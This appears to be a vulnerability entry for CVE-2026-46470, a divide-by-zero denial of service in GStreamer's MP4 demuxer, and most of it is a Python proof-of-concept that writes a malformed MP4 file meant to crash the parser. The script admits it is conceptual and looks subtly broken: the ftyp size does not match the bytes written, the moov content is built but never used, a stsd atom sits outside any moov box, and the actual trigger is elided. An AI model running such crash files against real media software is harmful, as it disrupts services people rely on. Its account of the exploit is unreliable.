CVE-2026-46470: GStreamer除零导致拒绝服务漏洞

import struct # PoC script to generate a malformed MP4 file triggering the division by zero # This is a conceptual PoC. The exact atom structure needs to match the vulnerable code path. def create_poc(filename): with open(filename, 'wb') as f: # Write minimal MP4 header (ftyp) f.write(b'\x00\x00\x00\x20\x66\x74\x79\x70') f.write(b'mp42' + b'\x00\x00\x00\x00') f.write(b'mp42' + b'\x00\x00\x00\x00') # Write a malformed 'moov' atom # The vulnerability is in qtdemux_audio_caps, likely within 'stsd' or similar audio description atoms. # We inject a zero value where a divisor is expected. moov_content = b'' # ... (construction of specific atoms causing the issue) ... # Example malicious atom header (Size = 0x100, Type = 'mdat' or relevant audio atom) # The actual payload would contain the zero divisor. malicious_atom = struct.pack('>I', 0x100) + b'stsd' + (b'\x00' * 240) f.write(malicious_atom) if __name__ == "__main__": create_poc("cve_2026_46470_poc.mp4")